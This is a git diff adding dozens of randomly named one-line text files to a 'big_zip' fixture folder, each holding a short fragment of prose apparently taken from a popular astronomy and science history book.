diff --git a/big_zip/big-zip-files/orpqklok.txt b/big_zip/big-zip-files/orpqklok.txt
new file mode 100644
index 0000000..b3f2eb4
--- /dev/null
+++ b/big_zip/big-zip-files/orpqklok.txt
@@ -0,0 +1 @@
+crushing disappointment for Vishniac, who had invested twelve years in its development.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/osgowakqhnojyxenxigpd.txt b/big_zip/big-zip-files/osgowakqhnojyxenxigpd.txt
new file mode 100644
index 0000000..fec66b3
--- /dev/null
+++ b/big_zip/big-zip-files/osgowakqhnojyxenxigpd.txt
@@ -0,0 +1 @@
+communications. But radio is powerful, cheap, fast and simple. They will know that a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/otfmczvihptqh.txt b/big_zip/big-zip-files/otfmczvihptqh.txt
new file mode 100644
index 0000000..9b81f4f
--- /dev/null
+++ b/big_zip/big-zip-files/otfmczvihptqh.txt
@@ -0,0 +1 @@
+bomb) nuclear weapon by South Africa or Israel. The political consequences were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/otgjjdbhookj.txt b/big_zip/big-zip-files/otgjjdbhookj.txt
new file mode 100644
index 0000000..1b6ec6a
--- /dev/null
+++ b/big_zip/big-zip-files/otgjjdbhookj.txt
@@ -0,0 +1 @@
+shelves may be its only physical remains. Yet this place was once the brain and glory of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/othqbrdcucqydfbrfbfnwvg.txt b/big_zip/big-zip-files/othqbrdcucqydfbrfbfnwvg.txt
new file mode 100644
index 0000000..0645f32
--- /dev/null
+++ b/big_zip/big-zip-files/othqbrdcucqydfbrfbfnwvg.txt
@@ -0,0 +1 @@
+radiated to space. The star has turned on. The gravitational collapse of the prestellar cloud
\ No newline at end of file
diff --git a/big_zip/big-zip-files/oujpltnclskf.txt b/big_zip/big-zip-files/oujpltnclskf.txt
new file mode 100644
index 0000000..654a4fc
--- /dev/null
+++ b/big_zip/big-zip-files/oujpltnclskf.txt
@@ -0,0 +1 @@
+Peloponnesus. It was natural to think of the solar system as much more compact and local.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/owjmbhlx.txt b/big_zip/big-zip-files/owjmbhlx.txt
new file mode 100644
index 0000000..96d1976
--- /dev/null
+++ b/big_zip/big-zip-files/owjmbhlx.txt
@@ -0,0 +1 @@
+We have now reached our own backyard, a light-year from Earth. Surrounding our
\ No newline at end of file
diff --git a/big_zip/big-zip-files/owynsggv.txt b/big_zip/big-zip-files/owynsggv.txt
new file mode 100644
index 0000000..536e14a
--- /dev/null
+++ b/big_zip/big-zip-files/owynsggv.txt
@@ -0,0 +1 @@
+of discovery suggest that many of the most interesting inhabitants of the galactic continent
\ No newline at end of file
diff --git a/big_zip/big-zip-files/oxbcyjsy.txt b/big_zip/big-zip-files/oxbcyjsy.txt
new file mode 100644
index 0000000..02bb918
--- /dev/null
+++ b/big_zip/big-zip-files/oxbcyjsy.txt
@@ -0,0 +1 @@
+Democritus invented the word atom, Greek for ‘unable to be cut.’ Atoms were the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/oyhvawfuodcb.txt b/big_zip/big-zip-files/oyhvawfuodcb.txt
new file mode 100644
index 0000000..d2c13d8
--- /dev/null
+++ b/big_zip/big-zip-files/oyhvawfuodcb.txt
@@ -0,0 +1 @@
+physical dimension - not an easy undertaking, surely but perhaps a black hole would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/oyhyyadlafunm.txt b/big_zip/big-zip-files/oyhyyadlafunm.txt
new file mode 100644
index 0000000..a202ce6
--- /dev/null
+++ b/big_zip/big-zip-files/oyhyyadlafunm.txt
@@ -0,0 +1 @@
+was to keep records: the purchase of grain, the sale of land, the triumphs of the king, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/oypvhxdlutsjw.txt b/big_zip/big-zip-files/oypvhxdlutsjw.txt
new file mode 100644
index 0000000..41df0f5
--- /dev/null
+++ b/big_zip/big-zip-files/oypvhxdlutsjw.txt
@@ -0,0 +1 @@
+DNA today.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ozqcgkzoqibsbmtv.txt b/big_zip/big-zip-files/ozqcgkzoqibsbmtv.txt
new file mode 100644
index 0000000..3415df4
--- /dev/null
+++ b/big_zip/big-zip-files/ozqcgkzoqibsbmtv.txt
@@ -0,0 +1 @@
+intrinsically dim stars that seem to us bright because they are nearby, and intrinsically
\ No newline at end of file
diff --git a/big_zip/big-zip-files/pbrianutzpe.txt b/big_zip/big-zip-files/pbrianutzpe.txt
new file mode 100644
index 0000000..0584755
--- /dev/null
+++ b/big_zip/big-zip-files/pbrianutzpe.txt
@@ -0,0 +1 @@
+Connection, The Dragons of Eden, Murmurs of Earth, Broca’s Brain and the bestselling
\ No newline at end of file
diff --git a/big_zip/big-zip-files/pcbowrabxhkhdycfdeutlv.txt b/big_zip/big-zip-files/pcbowrabxhkhdycfdeutlv.txt
new file mode 100644
index 0000000..381e13a
--- /dev/null
+++ b/big_zip/big-zip-files/pcbowrabxhkhdycfdeutlv.txt
@@ -0,0 +1 @@
+slowly so it does not die of hunger.* Flame is a wonder, and useful too; surely a gift from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/pcobojcwfgb.txt b/big_zip/big-zip-files/pcobojcwfgb.txt
new file mode 100644
index 0000000..8afb046
--- /dev/null
+++ b/big_zip/big-zip-files/pcobojcwfgb.txt
@@ -0,0 +1 @@
+It is a law of the inverse square. The force declines inversely as the square of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/pgdfigcbkgw.txt b/big_zip/big-zip-files/pgdfigcbkgw.txt
new file mode 100644
index 0000000..b203e4b
--- /dev/null
+++ b/big_zip/big-zip-files/pgdfigcbkgw.txt
@@ -0,0 +1 @@
+* Some examples are still to be seen in the Graz armory.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/phgwknangvjwvweju.txt b/big_zip/big-zip-files/phgwknangvjwvweju.txt
new file mode 100644
index 0000000..3f56eae
--- /dev/null
+++ b/big_zip/big-zip-files/phgwknangvjwvweju.txt
@@ -0,0 +1 @@
+more galaxies than have been detected heretofore; and, most startling, that the cluster is ofimmense proportions, stretching across one or two billion light-years of space.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/phtjykaw.txt b/big_zip/big-zip-files/phtjykaw.txt
new file mode 100644
index 0000000..6b4ed04
--- /dev/null
+++ b/big_zip/big-zip-files/phtjykaw.txt
@@ -0,0 +1 @@
+the aphorism need not detain us long, since it stands self-confessed as not a great idea.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/pidwbnzrhiya.txt b/big_zip/big-zip-files/pidwbnzrhiya.txt
new file mode 100644
index 0000000..4e6eec7
--- /dev/null
+++ b/big_zip/big-zip-files/pidwbnzrhiya.txt
@@ -0,0 +1 @@
+to the planets and the stars.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/piruvhpiqgpvg.txt b/big_zip/big-zip-files/piruvhpiqgpvg.txt
new file mode 100644
index 0000000..5e8111b
--- /dev/null
+++ b/big_zip/big-zip-files/piruvhpiqgpvg.txt
@@ -0,0 +1 @@
+Impact craters are not restricted to the Moon. We find them throughout the inner
\ No newline at end of file
diff --git a/big_zip/big-zip-files/plhcwzkgaxubkwp.txt b/big_zip/big-zip-files/plhcwzkgaxubkwp.txt
new file mode 100644
index 0000000..7b01c63
--- /dev/null
+++ b/big_zip/big-zip-files/plhcwzkgaxubkwp.txt
@@ -0,0 +1 @@
+govern the heavens. It was the first nonmystical explanation of motion in the heavens; it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/plrvgfoxowuc.txt b/big_zip/big-zip-files/plrvgfoxowuc.txt
new file mode 100644
index 0000000..ad9f711
--- /dev/null
+++ b/big_zip/big-zip-files/plrvgfoxowuc.txt
@@ -0,0 +1 @@
+companions and in some cases streamers of gas and stars are drawn out gravitationally, a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/pnjqxbzkwayxolvpge.txt b/big_zip/big-zip-files/pnjqxbzkwayxolvpge.txt
new file mode 100644
index 0000000..c028a71
--- /dev/null
+++ b/big_zip/big-zip-files/pnjqxbzkwayxolvpge.txt
@@ -0,0 +1 @@
+originality of the work betrayed the identity of its author. When Bernoulli saw the solution,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/porfrnktxkqplbvxzl.txt b/big_zip/big-zip-files/porfrnktxkqplbvxzl.txt
new file mode 100644
index 0000000..cf55897
--- /dev/null
+++ b/big_zip/big-zip-files/porfrnktxkqplbvxzl.txt
@@ -0,0 +1 @@
+major focus of their interests, the Spice Islands, present-day Indonesia. Some expeditions
\ No newline at end of file
diff --git a/big_zip/big-zip-files/poxdgunpbeftusbv.txt b/big_zip/big-zip-files/poxdgunpbeftusbv.txt
new file mode 100644
index 0000000..d037bb1
--- /dev/null
+++ b/big_zip/big-zip-files/poxdgunpbeftusbv.txt
@@ -0,0 +1 @@
+visited, but rather a giant Canoe made by men. The black figures were not crows but
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ppkaxzgvmjkkmcjru.txt b/big_zip/big-zip-files/ppkaxzgvmjkkmcjru.txt
new file mode 100644
index 0000000..f7e2319
--- /dev/null
+++ b/big_zip/big-zip-files/ppkaxzgvmjkkmcjru.txt
@@ -0,0 +1 @@
+circumnavigation of the collection of bright stars that constitute the Big Dipper, say - andwatch the constellations change. We connect the stars in typical constellations, in the usual
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ppyxzwwuzxtgggc.txt b/big_zip/big-zip-files/ppyxzwwuzxtgggc.txt
new file mode 100644
index 0000000..c8067f5
--- /dev/null
+++ b/big_zip/big-zip-files/ppyxzwwuzxtgggc.txt
@@ -0,0 +1 @@
+space vehicle exploration, does not exist at all. We see on Europa an amazing, intricate
\ No newline at end of file
diff --git a/big_zip/big-zip-files/pqotjtsrcdj.txt b/big_zip/big-zip-files/pqotjtsrcdj.txt
new file mode 100644
index 0000000..d2138a2
--- /dev/null
+++ b/big_zip/big-zip-files/pqotjtsrcdj.txt
@@ -0,0 +1 @@
+nothing and the spaces between the stars are vast. Nevertheless, the configuration of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/prshiwdgulpwt.txt b/big_zip/big-zip-files/prshiwdgulpwt.txt
new file mode 100644
index 0000000..067b1bc
--- /dev/null
+++ b/big_zip/big-zip-files/prshiwdgulpwt.txt
@@ -0,0 +1 @@
+sums to the practitioners of this dubious art. But there were more serious alchemists such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ptghloaglxagbug.txt b/big_zip/big-zip-files/ptghloaglxagbug.txt
new file mode 100644
index 0000000..7dfa9d1
--- /dev/null
+++ b/big_zip/big-zip-files/ptghloaglxagbug.txt
@@ -0,0 +1 @@
+fifteen billion years of cosmic evolution, the local transmogrification of matter into
\ No newline at end of file
diff --git a/big_zip/big-zip-files/pwmjsfht.txt b/big_zip/big-zip-files/pwmjsfht.txt
new file mode 100644
index 0000000..4924869
--- /dev/null
+++ b/big_zip/big-zip-files/pwmjsfht.txt
@@ -0,0 +1 @@
+would be too expensive for many centuries to come. But might we be able to live on Mars?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/pxufvmubuhqaxjgytt.txt b/big_zip/big-zip-files/pxufvmubuhqaxjgytt.txt
new file mode 100644
index 0000000..38bc124
--- /dev/null
+++ b/big_zip/big-zip-files/pxufvmubuhqaxjgytt.txt
@@ -0,0 +1 @@
+twenty-four hours a day. No geological evidence supports the idea of an unusual frequency
\ No newline at end of file
diff --git a/big_zip/big-zip-files/pydlreuuhooqon.txt b/big_zip/big-zip-files/pydlreuuhooqon.txt
new file mode 100644
index 0000000..51e05f0
--- /dev/null
+++ b/big_zip/big-zip-files/pydlreuuhooqon.txt
@@ -0,0 +1 @@
+phase, there might be no one for us to talk with but ourselves. And that we do but poorly.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/pzqwqlunpxt.txt b/big_zip/big-zip-files/pzqwqlunpxt.txt
new file mode 100644
index 0000000..dbff361
--- /dev/null
+++ b/big_zip/big-zip-files/pzqwqlunpxt.txt
@@ -0,0 +1 @@
+temperatures rather than organic devices that work at room temperature, in which case their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/qatqgoew.txt b/big_zip/big-zip-files/qatqgoew.txt
new file mode 100644
index 0000000..f37322e
--- /dev/null
+++ b/big_zip/big-zip-files/qatqgoew.txt
@@ -0,0 +1 @@
+have received from this discovery can never be told in words . . . I shunned no calculation
\ No newline at end of file
diff --git a/big_zip/big-zip-files/qavphnhpze.txt b/big_zip/big-zip-files/qavphnhpze.txt
new file mode 100644
index 0000000..a14e4f0
--- /dev/null
+++ b/big_zip/big-zip-files/qavphnhpze.txt
@@ -0,0 +1 @@
+yttrium, but rather the elements we know in everyday life, elements returned to the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/qfpznsodzfbgbte.txt b/big_zip/big-zip-files/qfpznsodzfbgbte.txt
new file mode 100644
index 0000000..7c76b14
--- /dev/null
+++ b/big_zip/big-zip-files/qfpznsodzfbgbte.txt
@@ -0,0 +1 @@
+complicated game of interplanetary billiards, to settle down into a stable, nearly circular
\ No newline at end of file
diff --git a/big_zip/big-zip-files/qhcsrwkdjubcncgz.txt b/big_zip/big-zip-files/qhcsrwkdjubcncgz.txt
new file mode 100644
index 0000000..6a21825
--- /dev/null
+++ b/big_zip/big-zip-files/qhcsrwkdjubcncgz.txt
@@ -0,0 +1 @@
+commonplace. A set of computer investigations has examined the evolution of a flat,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/qighuhrapcnu.txt b/big_zip/big-zip-files/qighuhrapcnu.txt
new file mode 100644
index 0000000..319b72c
--- /dev/null
+++ b/big_zip/big-zip-files/qighuhrapcnu.txt
@@ -0,0 +1 @@
+four sinuous channels of Chryse. For all the tantalizing and provocative character of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/qitzytbftwggyuamfit.txt b/big_zip/big-zip-files/qitzytbftwggyuamfit.txt
new file mode 100644
index 0000000..2390c6b
--- /dev/null
+++ b/big_zip/big-zip-files/qitzytbftwggyuamfit.txt
@@ -0,0 +1 @@
+Mazets and colleagues of the Ioffe Institute, Leningrad - who observed this source with the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/qjhjgoniiqrph.txt b/big_zip/big-zip-files/qjhjgoniiqrph.txt
new file mode 100644
index 0000000..98349d6
--- /dev/null
+++ b/big_zip/big-zip-files/qjhjgoniiqrph.txt
@@ -0,0 +1 @@
+sky. She was the patron deity of Samos, playing the same role there as Athena did in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/qkqypdqcnbpwbgchxurx.txt b/big_zip/big-zip-files/qkqypdqcnbpwbgchxurx.txt
new file mode 100644
index 0000000..0afa4cd
--- /dev/null
+++ b/big_zip/big-zip-files/qkqypdqcnbpwbgchxurx.txt
@@ -0,0 +1 @@
+may be common in religion and politics, but it is not the path to knowledge; it has no place
\ No newline at end of file
diff --git a/big_zip/big-zip-files/qlaohuqgjpdyfbznj.txt b/big_zip/big-zip-files/qlaohuqgjpdyfbznj.txt
new file mode 100644
index 0000000..3a2493d
--- /dev/null
+++ b/big_zip/big-zip-files/qlaohuqgjpdyfbznj.txt
@@ -0,0 +1 @@
+moonlight and we were only an hour away from the Temples: Could we resist the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/qmjisezmkw.txt b/big_zip/big-zip-files/qmjisezmkw.txt
new file mode 100644
index 0000000..ef081e8
--- /dev/null
+++ b/big_zip/big-zip-files/qmjisezmkw.txt
@@ -0,0 +1 @@
+As I have discussed at some length elsewhere, these ideas are almost certainly
\ No newline at end of file
diff --git a/big_zip/big-zip-files/qniqkefwtdkjxnrsik.txt b/big_zip/big-zip-files/qniqkefwtdkjxnrsik.txt
new file mode 100644
index 0000000..188304b
--- /dev/null
+++ b/big_zip/big-zip-files/qniqkefwtdkjxnrsik.txt
@@ -0,0 +1 @@
+universe filled with stars rushing helter-skelter in all directions, there was no place that was
\ No newline at end of file
diff --git a/big_zip/big-zip-files/qnlpfghezxdgmlvy.txt b/big_zip/big-zip-files/qnlpfghezxdgmlvy.txt
new file mode 100644
index 0000000..51839ba
--- /dev/null
+++ b/big_zip/big-zip-files/qnlpfghezxdgmlvy.txt
@@ -0,0 +1 @@
+Divine Providence granted us such a diligent observer in Tycho Brahe that his
\ No newline at end of file
diff --git a/big_zip/big-zip-files/qpxalmjknomijipeqaxzo.txt b/big_zip/big-zip-files/qpxalmjknomijipeqaxzo.txt
new file mode 100644
index 0000000..89c8e21
--- /dev/null
+++ b/big_zip/big-zip-files/qpxalmjknomijipeqaxzo.txt
@@ -0,0 +1 @@
+mainly of sulfur dioxide. But this thin atmosphere can serve a useful purpose, because it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/qpxlajduvcbhgyioy.txt b/big_zip/big-zip-files/qpxlajduvcbhgyioy.txt
new file mode 100644
index 0000000..3cc2b3a
--- /dev/null
+++ b/big_zip/big-zip-files/qpxlajduvcbhgyioy.txt
@@ -0,0 +1 @@
+bottles were stoppered; and we would wait two weeks for the fertilized eggs to become
\ No newline at end of file
diff --git a/big_zip/big-zip-files/qqdlfwdsqlayz.txt b/big_zip/big-zip-files/qqdlfwdsqlayz.txt
new file mode 100644
index 0000000..103e2a5
--- /dev/null
+++ b/big_zip/big-zip-files/qqdlfwdsqlayz.txt
@@ -0,0 +1 @@
+system. A black hole is implicated. Billions of light-years away are still more tumultuous
\ No newline at end of file
diff --git a/big_zip/big-zip-files/qqznmhjnsfnihftpsvthyz.txt b/big_zip/big-zip-files/qqznmhjnsfnihftpsvthyz.txt
new file mode 100644
index 0000000..1e49396
--- /dev/null
+++ b/big_zip/big-zip-files/qqznmhjnsfnihftpsvthyz.txt
@@ -0,0 +1 @@
+with mysticism. Indeed, much of Newton’s intellectual development can be attributed to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/qrvfpaupaplfzongmeztux.txt b/big_zip/big-zip-files/qrvfpaupaplfzongmeztux.txt
new file mode 100644
index 0000000..6558366
--- /dev/null
+++ b/big_zip/big-zip-files/qrvfpaupaplfzongmeztux.txt
@@ -0,0 +1 @@
+from some one primordial form, into which life was first breathed .... There is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/qskjuskeybtgic.txt b/big_zip/big-zip-files/qskjuskeybtgic.txt
new file mode 100644
index 0000000..3e7e67b
--- /dev/null
+++ b/big_zip/big-zip-files/qskjuskeybtgic.txt
@@ -0,0 +1 @@
+gravitationally dragged toward the center of the Virgo cluster; that the cluster has many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/qtkztgnqlx.txt b/big_zip/big-zip-files/qtkztgnqlx.txt
new file mode 100644
index 0000000..9ab141f
--- /dev/null
+++ b/big_zip/big-zip-files/qtkztgnqlx.txt
@@ -0,0 +1 @@
+having been created things came into being. This was the Great Oneness. All things
\ No newline at end of file
diff --git a/big_zip/big-zip-files/qtupdddtqzvhdrwmeb.txt b/big_zip/big-zip-files/qtupdddtqzvhdrwmeb.txt
new file mode 100644
index 0000000..a9489cb
--- /dev/null
+++ b/big_zip/big-zip-files/qtupdddtqzvhdrwmeb.txt
@@ -0,0 +1 @@
+might have to wait something like ten thousand years between collisions that would make
\ No newline at end of file
diff --git a/big_zip/big-zip-files/qwkhudiafa.txt b/big_zip/big-zip-files/qwkhudiafa.txt
new file mode 100644
index 0000000..12537cd
--- /dev/null
+++ b/big_zip/big-zip-files/qwkhudiafa.txt
@@ -0,0 +1 @@
+civilizations could have come during the tenure of humanity on Earth. Why are they not
\ No newline at end of file
diff --git a/big_zip/big-zip-files/qxftrkqoiozcmwjomjwcbqvc.txt b/big_zip/big-zip-files/qxftrkqoiozcmwjomjwcbqvc.txt
new file mode 100644
index 0000000..607c856
--- /dev/null
+++ b/big_zip/big-zip-files/qxftrkqoiozcmwjomjwcbqvc.txt
@@ -0,0 +1 @@
+Written out, the equation reads N = N * f p n e f l f i f c f L . All the f’s are fractions, having values
\ No newline at end of file
diff --git a/big_zip/big-zip-files/qzfcymdexnnnuyqeblcdn.txt b/big_zip/big-zip-files/qzfcymdexnnnuyqeblcdn.txt
new file mode 100644
index 0000000..2a45d7e
--- /dev/null
+++ b/big_zip/big-zip-files/qzfcymdexnnnuyqeblcdn.txt
@@ -0,0 +1 @@
+downward by an unknown amount. If its new position is somewhere in the shaded region of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/qzhqasnjedflxgtwlifhj.txt b/big_zip/big-zip-files/qzhqasnjedflxgtwlifhj.txt
new file mode 100644
index 0000000..8424b48
--- /dev/null
+++ b/big_zip/big-zip-files/qzhqasnjedflxgtwlifhj.txt
@@ -0,0 +1 @@
+big eggshell or a big nutshell. I think the people around those faraway campfires look down
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ragljzwquq.txt b/big_zip/big-zip-files/ragljzwquq.txt
new file mode 100644
index 0000000..56c6a6d
--- /dev/null
+++ b/big_zip/big-zip-files/ragljzwquq.txt
@@ -0,0 +1 @@
+example, those named after Aristarchus and Copernicus and Kepler. But while the craters
\ No newline at end of file
diff --git a/big_zip/big-zip-files/rbgkhxrktuzuedgcrjpba.txt b/big_zip/big-zip-files/rbgkhxrktuzuedgcrjpba.txt
new file mode 100644
index 0000000..862fc76
--- /dev/null
+++ b/big_zip/big-zip-files/rbgkhxrktuzuedgcrjpba.txt
@@ -0,0 +1 @@
+There is something curious about the national flags of the planet Earth. The flag of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/rdopbrwkxdcqtz.txt b/big_zip/big-zip-files/rdopbrwkxdcqtz.txt
new file mode 100644
index 0000000..73b9379
--- /dev/null
+++ b/big_zip/big-zip-files/rdopbrwkxdcqtz.txt
@@ -0,0 +1 @@
+4 Heaven and Hell
\ No newline at end of file
diff --git a/big_zip/big-zip-files/reunufsxxpqf.txt b/big_zip/big-zip-files/reunufsxxpqf.txt
new file mode 100644
index 0000000..7768135
--- /dev/null
+++ b/big_zip/big-zip-files/reunufsxxpqf.txt
@@ -0,0 +1 @@
+right that we should accept God’s gift with a grateful mind . . . If I had believed that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/rgxnyqfqhqyyjurcxvp.txt b/big_zip/big-zip-files/rgxnyqfqhqyyjurcxvp.txt
new file mode 100644
index 0000000..f4f5ffc
--- /dev/null
+++ b/big_zip/big-zip-files/rgxnyqfqhqyyjurcxvp.txt
@@ -0,0 +1 @@
+strand of RNA with either a linear or a closed circular geometry. Viroids can be so small
\ No newline at end of file
diff --git a/big_zip/big-zip-files/rkuxuphxufceo.txt b/big_zip/big-zip-files/rkuxuphxufceo.txt
new file mode 100644
index 0000000..2dda9b3
--- /dev/null
+++ b/big_zip/big-zip-files/rkuxuphxufceo.txt
@@ -0,0 +1 @@
+very angry. It must be someone in the sky, I think.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/rmkwitevckieq.txt b/big_zip/big-zip-files/rmkwitevckieq.txt
new file mode 100644
index 0000000..8fda0dc
--- /dev/null
+++ b/big_zip/big-zip-files/rmkwitevckieq.txt
@@ -0,0 +1 @@
+would have been more or less the same. The tar is an extremely rich collection of complex
\ No newline at end of file
diff --git a/big_zip/big-zip-files/rnfrrfdptjbkiugnvro.txt b/big_zip/big-zip-files/rnfrrfdptjbkiugnvro.txt
new file mode 100644
index 0000000..2131d5c
--- /dev/null
+++ b/big_zip/big-zip-files/rnfrrfdptjbkiugnvro.txt
@@ -0,0 +1 @@
+communication with extraterrestrial intelligence. Would not a good beginning be improved
\ No newline at end of file
diff --git a/big_zip/big-zip-files/rojidkzkgtgraz.txt b/big_zip/big-zip-files/rojidkzkgtgraz.txt
new file mode 100644
index 0000000..d9a5b9a
--- /dev/null
+++ b/big_zip/big-zip-files/rojidkzkgtgraz.txt
@@ -0,0 +1 @@
+who first catalogued the positions and magnitudes of the stars to detect such changes.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/rpwmhjfylmoukjdxodtahy.txt b/big_zip/big-zip-files/rpwmhjfylmoukjdxodtahy.txt
new file mode 100644
index 0000000..f231901
--- /dev/null
+++ b/big_zip/big-zip-files/rpwmhjfylmoukjdxodtahy.txt
@@ -0,0 +1 @@
+harmony in the heavens, culminated thirty-six years after his death, in the work of Isaac
\ No newline at end of file
diff --git a/big_zip/big-zip-files/rsojcceyrhrufm.txt b/big_zip/big-zip-files/rsojcceyrhrufm.txt
new file mode 100644
index 0000000..04d8497
--- /dev/null
+++ b/big_zip/big-zip-files/rsojcceyrhrufm.txt
@@ -0,0 +1 @@
+of human existence was spent in such a time. Over the dying embers of the campfire, on a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/rsrmvkrbfpxgeukobyz.txt b/big_zip/big-zip-files/rsrmvkrbfpxgeukobyz.txt
new file mode 100644
index 0000000..f0735af
--- /dev/null
+++ b/big_zip/big-zip-files/rsrmvkrbfpxgeukobyz.txt
@@ -0,0 +1 @@
+luminous points, lost in the glare of the Sun. Well, then, I thought, it stood to reason that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/rufgczrvlaavlcm.txt b/big_zip/big-zip-files/rufgczrvlaavlcm.txt
new file mode 100644
index 0000000..03c5f93
--- /dev/null
+++ b/big_zip/big-zip-files/rufgczrvlaavlcm.txt
@@ -0,0 +1 @@
+careful tests, they are unable to predict the character and future of people they knew
\ No newline at end of file
diff --git a/big_zip/big-zip-files/rxabjiwplbcb.txt b/big_zip/big-zip-files/rxabjiwplbcb.txt
new file mode 100644
index 0000000..1de86a4
--- /dev/null
+++ b/big_zip/big-zip-files/rxabjiwplbcb.txt
@@ -0,0 +1 @@
+For most of the four billion years since the origin of life, the dominant organisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/rxohaqrmsfjwtc.txt b/big_zip/big-zip-files/rxohaqrmsfjwtc.txt
new file mode 100644
index 0000000..9ef489a
--- /dev/null
+++ b/big_zip/big-zip-files/rxohaqrmsfjwtc.txt
@@ -0,0 +1 @@
+wheel.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/rxyhwlastxfmu.txt b/big_zip/big-zip-files/rxyhwlastxfmu.txt
new file mode 100644
index 0000000..29b1ab1
--- /dev/null
+++ b/big_zip/big-zip-files/rxyhwlastxfmu.txt
@@ -0,0 +1 @@
+twenty kilometers across, should occur only about once every billion years.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ryowcrsnrbygmemvlafonxgo.txt b/big_zip/big-zip-files/ryowcrsnrbygmemvlafonxgo.txt
new file mode 100644
index 0000000..25bdfae
--- /dev/null
+++ b/big_zip/big-zip-files/ryowcrsnrbygmemvlafonxgo.txt
@@ -0,0 +1 @@
+in colonization or interstellar spaceflight? People have a finite lifespan for a reason.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/saoqlbhzb.txt b/big_zip/big-zip-files/saoqlbhzb.txt
new file mode 100644
index 0000000..88e6424
--- /dev/null
+++ b/big_zip/big-zip-files/saoqlbhzb.txt
@@ -0,0 +1 @@
+beings elsewhere can ever know that their star will become a supernova: if they live long
\ No newline at end of file
diff --git a/big_zip/big-zip-files/sawlzumoaxbih.txt b/big_zip/big-zip-files/sawlzumoaxbih.txt
new file mode 100644
index 0000000..fffaa4d
--- /dev/null
+++ b/big_zip/big-zip-files/sawlzumoaxbih.txt
@@ -0,0 +1 @@
+minutes early of the end of human civilization. The information content of these pulses is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/sbqtyaixzakfy.txt b/big_zip/big-zip-files/sbqtyaixzakfy.txt
new file mode 100644
index 0000000..1b31e93
--- /dev/null
+++ b/big_zip/big-zip-files/sbqtyaixzakfy.txt
@@ -0,0 +1 @@
+(Equation 5)We know that n is 3 or more, since the simplest polygon is the triangle, with three sides.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/scfwnmzfsuozcuwbnenon.txt b/big_zip/big-zip-files/scfwnmzfsuozcuwbnenon.txt
new file mode 100644
index 0000000..54dc534
--- /dev/null
+++ b/big_zip/big-zip-files/scfwnmzfsuozcuwbnenon.txt
@@ -0,0 +1 @@
+which the high temperature has stripped some of the electrons from their nuclei. Not one of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/scouxhgldwm.txt b/big_zip/big-zip-files/scouxhgldwm.txt
new file mode 100644
index 0000000..ba3bf75
--- /dev/null
+++ b/big_zip/big-zip-files/scouxhgldwm.txt
@@ -0,0 +1 @@
+the trees. They became upright and taught themselves the use of tools, domesticated otheranimals, plants and fire, and devised language. The ash of stellar alchemy was now
\ No newline at end of file
diff --git a/big_zip/big-zip-files/scpsawhhyzanqhhvg.txt b/big_zip/big-zip-files/scpsawhhyzanqhhvg.txt
new file mode 100644
index 0000000..444a623
--- /dev/null
+++ b/big_zip/big-zip-files/scpsawhhyzanqhhvg.txt
@@ -0,0 +1 @@
+altered. But a virus is an insignificant thing, only a millionth of a centimeter across. It is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/sdxexozxzohj.txt b/big_zip/big-zip-files/sdxexozxzohj.txt
new file mode 100644
index 0000000..caec672
--- /dev/null
+++ b/big_zip/big-zip-files/sdxexozxzohj.txt
@@ -0,0 +1 @@
+Moctezuma [the Aztec Emperor] was shocked, terrified by what he heard. He was
\ No newline at end of file
diff --git a/big_zip/big-zip-files/sfvauurhgtw.txt b/big_zip/big-zip-files/sfvauurhgtw.txt
new file mode 100644
index 0000000..8c5e16d
--- /dev/null
+++ b/big_zip/big-zip-files/sfvauurhgtw.txt
@@ -0,0 +1 @@
+planets. Not counting the Sun and the Moon, you could see only five of them. They moved
\ No newline at end of file
diff --git a/big_zip/big-zip-files/shyhisfnotafnky.txt b/big_zip/big-zip-files/shyhisfnotafnky.txt
new file mode 100644
index 0000000..126850e
--- /dev/null
+++ b/big_zip/big-zip-files/shyhisfnotafnky.txt
@@ -0,0 +1 @@
